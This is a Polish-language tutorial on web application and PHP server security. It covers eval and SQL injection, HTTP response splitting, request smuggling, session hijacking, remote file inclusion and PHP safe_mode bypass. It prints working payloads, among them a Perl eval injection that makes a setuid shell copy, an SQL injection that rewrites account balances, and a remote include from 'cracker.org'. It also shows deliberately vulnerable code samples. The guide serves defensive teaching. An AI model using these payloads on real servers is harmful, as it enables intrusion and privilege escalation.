Wszystkie miejsca w kodzie skryptów, w których są używane funkcje podwójnego wartościowania wyrażenia, są kluczowe dla bezpieczeństwa serwera. Taka funkcja nazywa się zazwyczaj (w bash, php, perl, python) po prostu eval. Jeśli użytkownik ma możliwość w jakikolwiek sposób wpływać na fragment wykonywanego wyrażenia, istnieje możliwość, że będzie w stanie wykonać dowolny, szkodliwy kod.

Załóżmy, że w kodzie (Perl) pewnego serwisu występuje tego typu wywołanie:

$ret = eval("&wybor_$HTTP_POST{menu}($opcje)");

Jedno z pól w formularzu, wyświetlanym użytkownikowi, jest nazwane menu, a autor takiego kodu zamierzał wywołać funkcję o nazwie, takiej jak wybór którego dokonał użytkownik (np. wybor_menu1). Atakujący ma w takiej sytuacji szerokie pole do popisu, mogąc wysłać np. taką wartość pola menu:

menu1(0);system("cp /bin/sh /tmp; chmod 6755 /tmp/sh");#

Co oczywiście spowoduje wykonanie kodu:

$ret = eval("&wybor_menu1(0);system(\"cp /bin/sh /tmp; chmod 6755 /tmp/sh\")#($opcje)");

Częstego korzystania z eval() w PHP należy unikać także ze względu na wydajność. Jest to funkcja bardzo czasochłonna, ponieważ musi każdorazowo wywoływać dynamiczny komponent kompilatora w Zend.

W języku Perl używanie operatora zastępowania (s///) z opcją /ee wiąże się z takimi samymi zagrożeniami jak użycie funkcji eval().

Ataki SQL Injection

Technika podobna do ataku XSS, ale używana w stosunku do baz danych SQL. Także tym razem problem polega na możliwości wystąpienia znaków o specjalnym znaczeniu, które nie zostały zastąpione przez skrypt sekwencją ucieczkową, więc zostaną wstrzyknięte w zapytanie, wysłane do bazy.

Przykład. Załóżmy, że dla uproszczenia dane klientów są przechowywane w bazie SQLite, a fragment skryptu, który pozwala zmienić klientowi swoje dane osobowe (np. telefon), wygląda następująco.

$baza = sqlite_open('./baza.db', 0666);

// ...

sqlite_exec($baza, "UPDATE klienci SET telefon_kontaktowy = '"
    . $_POST['telefon'] . "' WHERE klient_id = '" . $id . "';");

sqlite_close($baza);
		

Klient może wykonać dowolną operację na bazie, bo z wartości pola telefon, przesłanego metodą POST nie zostały odfiltrowane metaznaki. Klient mógł więc przesłać dowolną wartość tego typu:

666-666-666', stan_konta = 10000 WHERE tozsamosc = 'Jan Kowalski';
UPDATE dluznicy SET dlug = 0, tozsamosc = tozsamosc || '

Jeśli nawet kod strony jest tak napisany, że nie pozwala wykonać wielu instrukcji SQL jednocześnie, a zmieniać da się jedynie zapytanie SELECT, może to wystarczyć do wykonania ataku XSS (SQL Injection for Cross Site Scripting). Zapytanie SELECT mogło bowiem zostać zsumowane (przez UNION SELECT) z literalnie podaną inną wartością, która będzie włączona w kod wynikowej strony bez uniknięcia metaznaków. Mógłby to być łańcuch zawierający kod JavaScript, przekierowanie itd.

Aby uniknąć takich sytuacji, należy zawsze używać gotowych funkcji opracowujących argument, który będzie użyty w zapytaniu. Dla bazy SQLite w PHP jest to sqlite_escape_string(). Dla innych rodzajów baz będą to funkcje mysql_escape_string(), pg_escape_string() lub addslashes() w przypadku ogólnym.

Ataki SQL Injection for HTTP Responce Splitting

Szczególnym przypadkiem wykorzystania techniki jest też tzw. SQL Injection for HTTP Response Splitting, używane zwłaszcza przy atakowaniu skryptów realizujących przekierowanie lub skracających długie adresy. Wiele serwisów prowadzi statystyki adresów, do których idą klienci, za pomocą odnośników na stronach serwisu. Z bazy jest wówczas pobierany adres o numerze podanym w zapytaniu metodą GET i wstawiany w polu Location nagłówka odpowiedzi HTTP. W wartości zmiennej przesłanej przez GET mogło się jednak znaleźć coś więcej niż tylko numer rekordu. Mógł tam być kod SQL (UNION SELECT), który wpisze dowolną wartość Location, zmieniając przekierowanie, a następnie wyświetli wstrzyknięty przez crackera kod strony.

Kod skryptu realizującego takie przekierowanie albo skracającego adresy mógłby wyglądać następująco:

$baza = sqlite_open('./redirs.db', 0666);
$id = $_GET['id'];
$wynik = sqlite_query($baza, "SELECT adres FROM redir WHERE id = $id;");

if (($adres = sqlite_fetch_string($wynik))) {
   Header("Location: $adres");
   sqlite_close($baza);
} else
   echo "Błąd SQLite (" . sqlite_error_string(sqlite_last_error($baza)) . ")";

Jedną z opcji PHP jest magic_quotes_gpc za pomocą której wszystkie dane przysłane metodami GET, POST lub występujące w ciasteczku są automatycznie cytowane. Nie można tego traktować jako rozwiązania wszelkich problemów. Radzę pisać kod w taki sposób, aby zawsze jawnie opracowywać argumenty za pomocą stosownych funkcji. Zacytowanie znaków apostrofu przez magic_quotes może wcale nie utrudnić crackerowi zrealizowania swoich zamiarów. W zapytanie SQL może bowiem wstrzyknąć łańcuch nie posługując się znakami cudzysłowu. Dowolne znaki mogą być przesłane w zapytaniu po uprzednim ich zakodowaniu w typie x-www-form-urlencoded, służy do tego urlencode() w PHP, a w MySQL-u można posłużyć się HEX().

echo urlencode("-1 UNION SELECT 'http://serwis.example.org/index.html\r\n"
   . "Content-Length: 0\r\n\r\n"
   . "HTTP/1.1 200 OK\r\n"
   . "Content-Type: text/html\r\n"
   . "Content-Length: 24\r\n\r\n"
   . "Hacked! Hacked! Hacked!'");

Powyższemu ciągowi odpowiadają następująco zakodowane dane:

-1+UNION+SELECT+%27http%3A%2F%2Fserwris.example.org%2Findex.html%0D%0AC
ontent-Length%3A+0%0D%0A%0D%0AHTTP%2F1.1+200+OK%0D%0AContent-Type%3A+te
xt%2Fhtml%0D%0AContent-Length%3A+24%0D%0A%0D%0AHacked%21+Hacked%21+Hack
ed%21%27

Po pomyślnym wykorzystaniu takich spreparowanych danych w zapytaniu serwer zwróci odpowiedź o następującej treści. Widzimy, że są tu podane dwie odpowiedzi HTTP. Przy odrobinie szczęścia, czyli jeżeli przeglądarka używa połączeń Keep-Alive, druga odpowiedź zostanie skojarzona przez przeglądarkę z zapytaniem o podany przez crackera w polu Location adres. Jeśli atakowaną aplikacją jest serwer proxy utrzymujący cache, to zasięg działań crackera obejmie szersze grono użytkowników i na dłuższy okres czasu, bo mogły także zostać podane dowolne wartości Last-Modified w przygotowanym kodzie.

HTTP/1.1 302 Found
Date: Mon, 13 Dec 2004 20:24:51 GMT
Server: Apache
Location: http://serwis.example.org/index.html
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 24

Hacked! Hacked! Hacked!
Content-Length: 0
Content-Type: text/html; charset=ISO-8859-2

Ataki HTTP Request Smuggling

Zagrożenie związane z HTTP Request Smuggling zostało powszechnie zauważone niedawno, bo dopiero w połowie 2005 roku po publikacji artykułu Watchfire. Pokazuje ono, jak niebezpieczne mogą być odstępstwa od przyjętych protokołów w aplikacjach pracujących w różnych warstwach.

Zatruwanie pamięci cache serwera za pomocą HRS polega na wykorzystaniu rozbieżności w interpretowaniu nagłówków zapytania HTTP przez serwer i serwer cache'ujący. W artykule, na który się powołałem, jest to zaprezentowane na przykładzie SunONE Proxy i SunONE Web Server. Atakujący, który usiłuje przeprowadzić ten rodzaj ataku, wysyła zapytanie, które z powodu niezbyt dużego odstępstwa od standardu, nie jest poprawne, ale będzie zaakceptowane przez aplikacje na serwerze. Takie zapytanie może być zinterpretowane w różny sposób. Jeżeli w zapytaniu podane jest dwukrotnie pole Content-Length z różnymi wartościami, to serwer www może uwzględnić pierwszą z nich, a serwer proxy - drugą. Przy połączeniach Keep-alive może to spowodować różną numerację zapytań przez aplikacje serwerowe, co spowoduje, że w pamięci cache serwera proxy zostanie zapamiętana zawartość pochodząca z niewłaściwej strony. Kolejność celowo pomieszanych zapytań decyduje o wariancie ataku: forward lub backward smuggling.

Kolejnym znanym zagrożeniem związanym z HRS jest możliwość ominięcia zapór ogniowych działających w warstwach wysokich lub systemów IDS (aplikacje takie jak mod_security), które przeprowadzają serię testów, by odrzucić złośliwe zapytania directory traversal i podobne. Serwerem podatnym na ten rodzaj ataku jest IIS z powodu unikalnej cechy polegającej na tym, że w pojedynczym zapytaniu nie może być przesłane więcej niż 48K danych POST. Dane znajdujące się powyżej tej granicy zostaną zawsze uznane jako początek kolejnego zapytania. Zapora ogniowa CheckPoint FW-1 potraktuje to jednak jako dalszą część danych, pomijając zatem sprawdzanie legalności.

Ataki Second Order Code Injection

Cracker, który usiłuje przeprowadzić ten rodzaj ataku, liczy na uzyskanie oczekiwanych przez siebie rezultatów w późniejszym etapie niż w przypadku powszechniejszych rodzajów ataków. Szkodliwy kod, wstrzyknięty w obszar danych, może zostać zapisany przez aplikację (w dzienniku systemowym, obszarze cache, bazie danych, ...) i ujawnić swoje działanie w późniejszym czasie. Taka sytuacja może mieć miejsce, gdy różne moduły aplikacji Web mają wobec przesyłanych między sobą danych zbyt duże zaufanie.

Możliwym w tym przypadku wektorem ataku są często fragmenty aplikacji, których działanie zależy od statystyk częstotliwości występujących zdarzeń. Łatwo sobie wyobrazić przypadek serwisu sklepu internetowego, który podaje na jednej ze stron informacje takie jak ,,najczęściej szukany towar'', ,,najpopularniejsza dzisiaj aukcja'', ,,najczęstsze zapytanie''. Istnieje szansa, że moduł wyświetlający dane pochodzące z innego fragmentu aplikacji (baza danych), wyświetli takie dane w niebezpieczny sposób.

Szczególnie groźnym przypadkiem jest sytuacja, gdy powyżej opisana metoda daje się zastosować do modułów używanych w panelu administracyjnym serwisu. Wówczas może zostać w łatwy sposób przechwycona sesja administratora, przeglądającego logi, w których znalazł się złośliwie spreparowany kod, lub osoby zarządzającej serwisem. Takie niebezpieczne dane mogłyby zostać dostarczone na przykład w nagłówku zapytania HTTP (USER_AGENT lub REFERER).

Kolejnym przykładem może być sytuacja, w której użytkownik edytując ustawienia swojego konta, ma możliwość podania swoich danych osobowych, które następnie są zapisywane w bazie. Także tutaj, jeśli niebezpieczne znaki nie są zastąpione sekwencjami ucieczkowymi, może dojść do wykonania szkodliwego kodu - w chwili użycia tych danych w zapytaniu bazy danych lub w trakcie wyświetlania ich przez obsługę serwisu.

Przejmowanie cudzych sesji

Koncepcja sesji w aplikacjach webowych ma za zadanie realizować przekazywania informacji pomiędzy kolejnymi zapytaniami od tego samego użytkownika w protokole HTTP, który sam w sobie jest protokołem bezstanowym. Dane są przechowywane po stronie serwera, a zapytania użytkownika muszą zawierać identyfikator, który pozwoli skojarzyć sesję użytkownika z właściwym zestawem danych na serwerze. Identyfikator sesji jest najbardziej wrażliwym punktem w mechanizmie sesji. Sposoby przekazywania identyfikatora to:

Mechanizm sesji jest niezależny od używanego po stronie serwera języka, ale przyjrzyjmy się jego realizacji w PHP. Za konfigurację sesji odpowiadają tu zmienne session.*. Jeśli została ustawiona opcja session.use_only_cookies, to zmienna pochodząca z metody GET o nazwie zgodnej z identyfikatorem sesji nigdy nie będzie potraktowana jako identyfikator. session.use_cookies określa, czy skrypt będzie próbował zachować identyfikator sesji w ciasteczku po stronie użytkownika. Jeśli identyfikator jest przekazywany w URL, to musimy pamiętać o dopisywaniu go do adresu w odnośnikach, czyli o dodawaniu nazwy przechowywanej w predefiniowanej zmiennej SID. Jeśli PHP zostało skompilowane z opcją --enable-trans-sid, to przekazywanie identyfikatora może się odbywać w sposób przezroczysty, więc wszystkie tagi z url_rewriter.tags będą automatycznie uzupełniane o SID.

Najpowszechniejsze sposoby przejęcia sesji, związane z identyfikatorem, odnoszą się do następujących kwestii:

Możliwość przewidywania kolejnych identyfikatorów występuje w środowiskach implementujących mechanizm sesji z niepełną losowością identyfikatorów. Można sobie wyobrazić skrypt CGI, który samodzielnie realizowałby sesje, nadająć identyfikatory na swój własny sposób. Bardzo złym sposobem byłoby zwykłe inkrementowanie identyfikatora dla każdej kolejnej sesji, generowanie go w oparciu o aktualny czas lub wykorzystanie jako identyfikatora np. skrótu SHA z numeru IP użytkownika. W popularnych bibliotekach do obsługi sesji, w szczególności w PHP, taki problem nie występuje, bo identyfikator jest zawsze losowy. W PHP zmienną session.entropy_file można wskazać dodatkowy plik z pulą entropii, z którego będą brane dane o długości session.entropy_length podczas generowania losowego ciągu.

Przechwycenie identyfikatora sesji przez osobę trzecią skutkuje zazwyczaj możliwością zalogowania się w serwisie jako właściciel sesji i wykonywanie operacji z uprawnieniami tamtej osoby. Metoda przekazywania identyfikatora w adresie URL jest znacznie mniej bezpieczna niż za pomocą ciasteczka. Z drugiej strony część użytkowników nie chce (chcąc uniknąć śledzenia) lub nie może przyjmować ciasteczek w swojej przeglądarce, a fakt zignorowania ciasteczka nie może być wykryty przez serwer.

Zapytanie o adres ze zmienną SID może zostać podsłuchane przez crackera lub użytkownik może zostać nakłoniony do podania adresu, który odwiedza, nie będąc świadomym, że tym samym ujawni identyfikator sesji. Nieświadomy użytkownik może również przesłać pełen adres poprzez e-mail lub zapisać go w ulubionych adresach. Innym możliwym scenariuszem jest wstrzyknięcie przez crackera w kod strony serwisu kodu z odnośnikiem, prowadzącym na inny serwer. Użytkownik, który wybierze taki odnośnik, również ujawni swój identyfikator, bo zostanie on przesłany na serwer crackera w polu Referer nagłówka HTTP.

Kwestia ponownego wykorzystania identyfikatora (session fixation) polega na nakłonieniu nieświadomego użytkownika (bezpośrednio lub poprzez CSRF) do odwiedzenia strony o adresie, w którym jest już wybrany identyfikator sesji. Jeśli użytkownik ma konto w pewnym serwisie, który odwiedzi poprzez adres z identyfikatorem wybranym przez crackera, a następnie zwiększy swoje uprawnienia, logując się do serwisu, to sesja o identyfikatorze podanym przez crackera posiada teraz uprawnienia użytkownika. Zauważmy, że takie podstawienie identyfikatora, jest sensowne tylko wówczas, gdy użytkownik zechce się zalogować lub skorzystać z uprawnień, które mu przysługują. W jaki więc sposób można zabezpieczyć się przez atakiem session fixation? Rozwiązanie jest proste i skuteczne. Zawsze po uwierzytelnieniu użytkownika wystarczy zmienić identyfikator sesji na nową wartość. W PHP jest to funkcja session_regenerate_id().

Jednym z zabezpieczeń, które chronią przed wykradnięciem sesji, jest sprawdzanie, czy parametry charakterystyczne dla połączeń danej sesji nie ulegają nagle zmianie. Łatwo stwierdzić, że jeśli w trakcie sesji nagle ulega zmianie nazwa przeglądarki użytkownika (pole User-Agent zapytania HTTP), to jest to próba przejęcia sesji przez osobę trzecią. Skrypt powinien wykryć tę zmianę i zakończyć sesję. Podobnie można sprawdzać wartość pól Accept, Accept-Language, Accept-Charset, X-Forwarded-For, jednak zmiana adresu IP klienta nie musi oznaczać próby przejęcia sesji, bo czasem połączenia z podsieci niektórych dostawców Internetu mogą wychodzić przez różne bramki. Pole Referer jest kolejnym, które może być brane pod uwagę, jeśli jest przesyłane przez przeglądarkę użytkownika. Niektórzy użytkownicy mogą tego nie robić, chcąc uniknąć, podobnie jak w przypadku ciasteczek, bycia śledzonym. Referer jest polem, które PHP może sprawdzać automatycznie. Jeśli jego wartość nie zawiera podciągu zdefiniowanego z zmiennej session.referer_check, to PHP zamknie taką sesję.

Ustawienia PHP dla mechanizmu obsługi sesji można zmieniać w każdym kontekście i warto z tego korzystać! Wszystkie opcje konfiguracyjne są oznaczone dostępem PHP_INI_ALL, więc mogą być także zmieniane w .htaccess lub przez ini_set() (jeśli funkcja nie została wyłączona) w zależności od skryptu. Każdy utrzymywany na serwerze serwis może więc niezależnie konfigurować parametry sesji PHP przez zmienne session.cookie_lifetime, session.cookie_path, session.cookie_domain. Należy więc jak najbardziej zawężać parametry związane z sesją, czyli jej czas życia, zasięg ciasteczka. W .htaccess mogłoby to wyglądać następująco:

php_value session.referer_check "http://serwer1.example.org/"
php_value session.cookie_lifetime 1800
php_value session.cookie_domain serwer1.exapmle.org
php_value session.cookie_path /s/sklep/

Kwestia przechowywania sesji po stronie serwera również wymaga pewnych przemyśleń.

W przypadku gdy sesje są przechowywane po stronie serwera w postaci plików, to istnieje ryzyko, że osoba, mogąca wylistować katalog z plikami, odczyta zawartość sesji lub zmieni ich treść. Sama możliwość wylistowania katalogu przy braku uprawnień do odczytania plików jest także wystarczająca, pozwala poznać identyfikatory aktywnych sesji. Wygląda to bowiem następująco.

$ ls -l
total 16
-rw-------  1 www-user www-grp 125 Dec 23 11:33 sess_47d844551b52c6dbc2b46df0dab93449
-rw-------  1 www-user www-grp 125 Dec 23 11:32 sess_4e0b3d853347c105781b0605e254098b
-rw-------  1 www-user www-grp 125 Dec 23 11:32 sess_4f4ce11f5b783f2687463f96938ebe57
-rw-------  1 www-user www-grp 125 Dec 23 11:33 sess_d4ecf58126477cbfa68b7b90878448f3
$ cat sess_47d844551b52c6dbc2b46df0dab93449 
user|s:3:"Paweł";haslo|s:11:"foo.bar.baz";Kosz|a:3:{i:0;s:13:"Zegarek Rolex";
i:1;s:10:"Bukiet róż";i:2;s:15:"Sok winogronowy";}
$ _

Domyślny katalog /tmp o uprawnieniach 1777, nie jest dobrym miejscem do trzymania takich plików. Utrudnieniem dla crackera będzie utworzenie katalogu o uprawnieniach 1733 przeznaczonego na sesje o losowej nazwie i ustawienie jej w zmiennej session.save_path. Jeśli nie ma możliwości odczytywania konfiguracji modułu PHP na serwerze (czyli zostały wyłączone groźne funkcje), a dodatkowo są włączone restrykcje trybu bezpiecznego i open_basedir, cracker nie dowie się, gdzie szukać plików sesji. Można tak przyjąć do momentu, w którym nie przeprowadzi któregoś ze scenariuszy opisanych w kolejnym rozdziale. Dla każdej domeny utrzymywanej na serwerze katalog sesji session.save_path może być ustawiony oddzielnie.

Sekcja konfiguracji PHP, odpowiedzialna za sesje może wyglądać następująco:

;
; Konfiguracja mechanizmu obsługi sesji
;
[Session]
session.save_handler = files
session.use_cookies = 1
session.name = SESSIONID
session.save_path = /sesje-mohnplnq
session.auto_start = 0
session.cookie_lifetime = 3600
session.cookie_path = /
session.cookie_domain =
session.serialize_handler = php
session.bug_compat_42 = 1
session.bug_compat_warn = 1
session.referer_check =
session.entropy_length = 128
session.entropy_file = /dev/urandom
session.cache_limiter = nocache
session.cache_expire = 180
session.use_trans_sid = 0
session.hash_function = 1 ; Użycie skrótów SHA-1
session.hash_bits_per_character = 4

Oprócz utrzymywania plików sesji na serwerze w postaci plików, istnieją także inne rozwiązania, mające na celu poprawienie problemu praw dostępu. Funkcja session_set_save_handler() pozwala podać dowolne procedury, które będą używane przez PHP do otwierania, zapisywania, czytania i niszczenia sesji. W ten sposób możemy przechowywać sesję w dowolnie wymyślony sposób, np. w zdalnej bazie MySQL. Istnieje także niezależny serwer sesji mohawk, który może być użyty także w PHP, jeśli zostało skompilowane z opcją --with-msession.

Kontrola poprawności danych po stronie klienta

Język JavaScript wykonywany po stronie przeglądarki jest często używany do sprawdzania legalności danych, które zostały wpisane w pola formularzy. Pozwala to na szybsze zweryfikowanie niż wysyłanie kolejnych zapytań przez sieć. Takie skrypty przeważnie sprawdzają, czy wszystkie pola zostały wypełnione oraz czy są w prawidłowym formacie.

Należy pamiętać, że taka kontrola może być jedynie dodatkiem do sprawdzania poprawności danych, które musi być realizowane po stronie serwera. Zmienne pochodzące z rozwijanych list lub pól wyboru w formularzach mogą mieć zupełnie inne wartości niż dostępne dla użytkownika opcje w formularzu, jeśli zapytanie zostało celowo spreparowane. Skrypty, które pozwalają na przesyłanie plików na serwer nie mogą polegać na tym, że klient będzie przestrzegał podanej mu zmiennej MAX_FILE_SIZE, należy dodatkowo sprawdzać wielkość danych, które są przysyłane. Funkcjonalność realizowana po stronie przeglądarki użytkownika powinna jedynie pełnić rolę tzw. cienkiego klienta (ang. thin client).


Bezpieczeństwo PHP

Wszystkie ogólnie sformułowane problemy z poprzedniego rozdziału odnoszą się oczywiście również do PHP. Oprócz tego jest kilka istotnych zagadnień, występujących najczęściej w PHP lub specyficznych dla PHP.

Najbardziej trywialne przypadki

Dwie kwestie, o których trzeba wspomnieć, z uwagi na częstotliwość ich występowania, dotyczą niebezpiecznego użycia include()/require() oraz opcji register_globals. Są to najpowszechniejsze przyczyny błędów w skryptach, wpływające na bezpieczeństwo, pomimo że są bardzo łatwe do uniknięcia.

Pomyślmy sobie pewien serwis, w którym wybór nazwy z podstroną jest przekazywany za pomocą parametru metody GET, czyli np. http://serwis.example.org/?podstrona=cennik, a skrypt załączający odpowiednią zawartość wygląda jak poniżej.

if (isset($_GET['strona']))
   include($_GET['strona'] . '.php');
Jeśli dodatkowo w konfiguracji PHP nie została wyłączona opcja allow_url_fopen, to każdy może wykonać dowolny kod na serwerze serwisu, przesyłająć adres swojego skryptu w parametrze: http://serwis.example.org/?podstrona=http%3A%2F%2Fcracker.org%2Fzly_skrypt

Będzie to oznaczało wykonanie instrukcji

include('http://cracker.org/zly_skrypt.php');

Poskutkuje to ściągnięciem kodu skryptu podanego przez crackera i wykonanie go na atakowanym serwerze.

Samo wyłączenie opcji allow_url_fopen nie chroni przed takim niebezpieczeństwem. Co prawda nie ma możliwość podania dowolnego zdalnego skryptu do dołączenia, ale może się zdarzyć, że wystarczy załączenie pliku z lokalnego systemu. Jeśli gdzieś w serwisie występuje możliwość uploadu plików, z pewnością byłaby ona wykorzystana przez crackera. Podobnie mogłyby zostać użyte inne pliki, np. pliki tymczasowe o przewidywalnych nazwach. Osoba, mająca już konto na serwerze, również może próbować zwiększyć swoje uprawnienia, wykorzystując skrypt z niebezpiecznym użyciem include()/require(). Jeśli skrypt PHP działa za pomocą wrappera suexec, to doprowadzi to do zdobycia dostępu do konta użytkownika. Jeśli natomiast skrypt jest obsługiwany przez moduł Apache i działa z uprawnieniami www-user, to może zostać zniesione ograniczenie open_basedir, safe_mode.

Drugą kwestią, która często obniża bezpieczeństwo serwisu, jest opcja PHP register_globals, której włączenie powoduje umieszczanie zmiennych pochodzących z metod GET, POST, sesji i ciasteczek do globalnej przestrzeni nazw. Nie ma więc rozróżnienia, skąd pochodzi dana zmienna. Jeśli informacja o tym, czy użytkownik jest już zalogowany w serwisie, byłaby przechowywana w zmiennej sesyjnej, a w skrypcie występowałby następujący fragment kodu, to dowolny użytkownik mógłby się zalogować, ustawiając tę zmienną gdzie indziej niż w odpowiadającej mu sesji.

if (! $Uzytkownik_Zalogowany)
   Panel_Logowania();
else
   Panel_Administracyjny();

Aby uniknąć takiej sytuacji, musiałoby każdorazowo wystąpić sprawdzenie, czy zmienna nie została ustawiona w inny sposób niż powinna. Od wersji PHP 4.2.0 register_globals jest wyłączone w domyślnej konfiguracji. Skrypty powinny być pisane w taki sposób, aby odwoływały się do zmiennych za pomocą odpowiednich tablic asocjacyjnych ($_GET, $_POST, $_SESSION, $_COOKIE).

Publiczne ujawnianie komunikatów o błędach

Nagminnie spotyka się strony, które wyświetlają wszystkim odwiedzających szczegółowe informacje o błędach, które wystąpiły w skryptach podczas przetwarzania kodu strony. Są to dane, które nie powinny być dostępne dla wszystkich odwiedzających. Wystarczy jedynie ogólna informacja o awarii. Jeśli zostanie wyświetlona szczegółowa informacja o przyczynie błędu w skrypcie, będzie to wskazówką dla crackera, w jaki sposób działają skrypty na stronie. Ponadto może się on dowiedzieć o nazwie kont w systemie lub o strukturze katalogów serwera (i wykorzystać to w ataku Directory Traversal), jeśli komunikat o błędzie zawiera szczegółowe ścieżki typu:
/var/przykład/apache/wwwroot/.../auth.inc.php
Zauważmy zwłaszcza, że gdyby powyższy plik nazywał się auth.inc, to cracker z całą pewnością sprawdziłby, czy konfiguracja serwera zabroni mu pobranie jego zawartości, gdzie mógłby poznać działanie skryptu uwierzytelniającego, informację skąd brane są hasła lub parametry połączenia z bazą danych. Opcje szczegółowości logowania można zmienić w czasie wykonania skryptu. Jeśli chcesz widzieć dane o błędach na stronie, możesz włączyć ich wyświetlanie, ale tylko dla siebie - po rozpoznaniu adresu IP, ciasteczka czy sesji.

Poniższa ramka pokazuje, jak wiele informacji może często uzyskać osoba nieupoważniona, której udało się wymusić wystąpienie dowolnego błędnego działania w kodzie strony.

Nadmiernie szczegółowy komunikat o błędzie na stronie
Warning: mysql_connect() [function.mysql-connect]: Host 'serwer1.example.org' is blocked because of many connection errors. Unblock with 'mysqladmin flush-hosts' in /opt/www/app/include/connect.h on line 8

Warning: mysql_select_db() [function.mysql-select-db]: Access denied for user: 'jkowalski@serwer1' (Using password: NO) in /opt/www/app/include/connect.h on line 10

Warning: mysql_select_db() [function.mysql-select-db]: A link to the server could not be established in /opt/www/app/include/connect.h on line 10

Warning: mysql_query(): supplied argument is not a valid MySQL-Link resource in /opt/www/app/include/latest_bugs on line 50

ERROR:latest_bugs: Access denied for user: 'jkowalski@serwer1' (Using password: NO)

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/www/app/include/latest_bugs on line 56

Wyłączenie niebezpiecznych funkcji

Proponuję zastanowić się nad sensownością wyłączenia dostępu do przynajmniej następujących funkcji, zwłaszcza na serwerach współdzielonych. Zgodnie z regułą, że zbiór uprawnień powinien być minimalny, pozwalający realizować wymaganą funkcjonalność.

Funkcje oznaczone kolorem niebieskim służą do wywołania dowolnego programu lub skryptu powłoki, spoza PHP. Zauważmy, że może to spowodować zdjęcie wszystkich ograniczeń narzucanych przez PHP. W szczególności może to posłużyć do wyzbycia się restrykcji safe_mode i open_basedir (ilustruje to diagram stanów).

Funkcje oznaczone na zielono są używane do uzyskania bardzo szczegółowych informacji o konfiguracji serwera, konfiguracji PHP oraz do zmiany niektórych ustawień konfiguracyjnych.

Jest bardzo prawdopodobne, że pierwszą rzeczą, którą zrobi cracker przed penetracją systemu, będzie wykonanie sekwencji funkcji:

error_reporting(E_ALL);
ini_set('display_errors', '1');
ini_set('log_errors', '0');
ini_set('track_errors', '1');

Dzięki temu włamywacz będzie otrzymywał informacje o ograniczeniach, którym podlegają jego skrypty, ale te informacje nie trafią do pliku logów.

Warning: fopen() [function.fopen]: SAFE MODE Restriction in effect. The script whose uid is 1031 is not allowed to access ./../../plik.txt owned by uid 0 in /users/jkowalski/.bftwbnjf/j.php on line 7

Warning: opendir() [function.opendir]: open_basedir restriction in effect. File(./../..) is not within the allowed path(s): (/users/jkowalski) in /users/jkowalski/.bftwbnjf/h.php on line 11

Warning: opendir(./../..) [function.opendir]: failed to open dir: Operation not permitted in /users/jkowalski/.bftwbnjf/h.php on line 15

Tryb bezpieczny PHP (safe mode)

Opcja bardzo często i chętnie wykorzystywana na serwerach współdzielonych przez dostawców usług internetowych. Włączenie trybu bezpiecznego powoduje przede wszystkim sprawdzanie, czy właścicielem jakiegokolwiek pliku lub katalogu nadrzędnego pliku, do którego próbuje się odwołać skrypt jest ten sam użytkownik, który jest właścicielem skryptu. Dalej będę nazywał to istotne zdanie warunkiem trybu bezpiecznego. Jeśli ten warunek nie jest spełniony, dostęp jest zabroniony. Ustawienie safe_mode_gid powoduje rozluźnienie tego ograniczenia do poziomu porównywania grup właścicielskich. Oprócz tego tryb bezpieczny wyłącza m.in. funkcję dl(), którą można używać za niezwykle groźną. Za jej pomocą można przejąć kontrolę nad wszystkimi procesami serwera.

Tryb bezpieczny PHP wprowadza kolejną warstwę kontroli uprawnień, której nie oferują moduły Apache do języków Perl czy Python. Z tego względu jest często używany na serwerach z dużą liczbą kont, co daje dobrą wydajność i dość dobry poziom bezpieczeństwa - ale tylko przy spełnieniu kilku innych założeń (zobacz diagram stanów).

Najczęstszy schemat ataku na tryb bezpieczny...

Często powtarzam, że w systemie nie powinno być praktycznie żadnych plików, których właścicielem jest użytkownik www-user, lub których grupą właścicielską jest www-grp. Niespełnienie tego założenia jest warunkiem wystarczającym (ale nie koniecznym) wystąpienia następującego scenariusza...

Cracker nadaje prawo zapisu dla użytkownika www-user do stworzonego przez siebie podkatalogu. W swoim skrypcie PHP tworzy nowy plik, z możliwością zapisu przez wszystkich, w owym podkatalogu. Tryb bezpieczny tego nie zabroni, bowiem jest porównany właściciel skryptu z właścicielem katalogu (nie pliku). Właścicielem nowego pliku jest użytkownik www-user. Cracker zmienia nazwę pliku na nazwę zakończoną łańcuchem .php, więc plik staje się skryptem PHP. Wpisuje treść swojego skryptu do nowego pliku, którego właścicielem jest www-user.
Odtąd cracker zmienił grupę właścicielską, która będzie porównywana w warunku trybu bezpiecznego. Atakujący ma teraz nowe możliwości. Zauważmy, że zyskał dostęp do wszystkich plików w systemie, których właścicielem jest www-user (pomijając kwestię open_basedir). Jego dalsze postępowanie może się skupiać na próbie wykonania następujących scenariuszy.

Jeśli w zmiennej safe_mode_exec_dir nie zostały podane katalogi z programami dozwolonymi do wykonania, sposób na wyzbycie się ograniczenia trybu bezpiecznego jest znacznie prostszy. Cracker może spowodować uruchomienie dowolnego programu wykonywalnego przez nieuprzywilejowany proces serwera za pomocą rodziny funkci exec(), system(), popen(), fpassthru(). W nowym podprocesie spoza PHP nie obowiązuje już tryb bezpieczny ani open_basedir.

Penetracja systemu z poziomu PHP

Jeśli w konfiguracji PHP nie zostało włączone ograniczenie open_basedir, użytkownik może rozpocząć wyszukiwanie czułych punktów w systemie przez dokładne prześledzienie plików stron, skryptów, programów innych użytkowników oraz praw dostępu, które odpowiadają tym zasobom. Czasami może to być realizowane także zdalnie przez osobę, nie mającą jeszcze konta na serwerze, jeśli wykorzysta ona luki w skryptach podatnych na ataki directory traversal.

Zazwyczaj, użytkownik mający dostęp do PHP próbuje stworzyć własne namiastki programów ls(1), cat(1), ..., napisane w PHP, do zbadania praw w systemie i odnalezienia nowych wektorów ataku, jak skrypty CGI, programy z bitem suid, sgid.
Moja wersja programu ls(1) w PHP i przykładowy listing.

drwxr-xr-x  4  1051  1051      4096 2004-11-17 18:06 .
drwxr-xr-x 17  1051  1051      4096 2004-12-03 20:25 ..
drwx-wS---  2  1000  1000      4096 2004-12-04 23:21 cgi-bin
drwxrwxrwt  2  1051  1025      4096 2004-11-08 16:17 katalog_1
drwxr-xr-x  2     0     0      4096 2004-11-11 03:16 katalog_2
-rw----r--  1  1051  1051      2134 2004-11-11 03:17 php-ls.php
-rw-r--r--  1  1051  1051        17 2004-11-13 14:17 phpinfo.php
-rw----r--  1  1093  1051      5478 2004-11-17 18:06 strona1.html

Phenetrate

